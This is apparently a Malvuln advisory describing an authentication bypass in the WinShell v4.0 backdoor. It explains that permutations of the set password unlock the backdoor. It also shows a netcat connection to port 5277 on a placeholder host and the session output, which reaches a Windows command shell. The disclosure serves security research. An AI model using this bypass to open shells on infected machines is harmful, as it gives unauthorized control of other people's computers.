Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.WinShell.40  
Vulnerability: Authentication Bypass Command Execution  
Description: Malware WinShell v4.0 by janker listens on TCP port 5277 and allows for setting a password for remote access. However, after setting the password any combination of the characters used for the password will allow access. E.g. if the password is set to "abc123" interestingly the chars "eutn" allows access. Also, password combinations like: abc321, 321abc, 132abc, a1b2c3, cba123, bca321, bac321, cab123, cab231, cab312, cab213, ab1c23 will also authenticate successfully. Sometimes when attempting to authenticate with a derived password and it fails, try it again and boom it works!  
Type: PE32  
MD5: 83fe2cc7aedc452d71c751053a2112c4  
Vuln ID: MVID-2021-0278  
Disclosure: 07/03/2021  
Set password to Malvuln123  
nc64.exe x.x.x.x 5277  
WinShell v4.0  
(C)2001 by janker  
? for help  
i Install  
u Uninstall  
w Where  
r Reboot  
p Poweroff  
q Quit  
e End  
s Shell  
url download  
? for help  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
nc64.exe x.x.x.x 5277  
WinShell v4.0  
(C)2001 by janker  
? for help  
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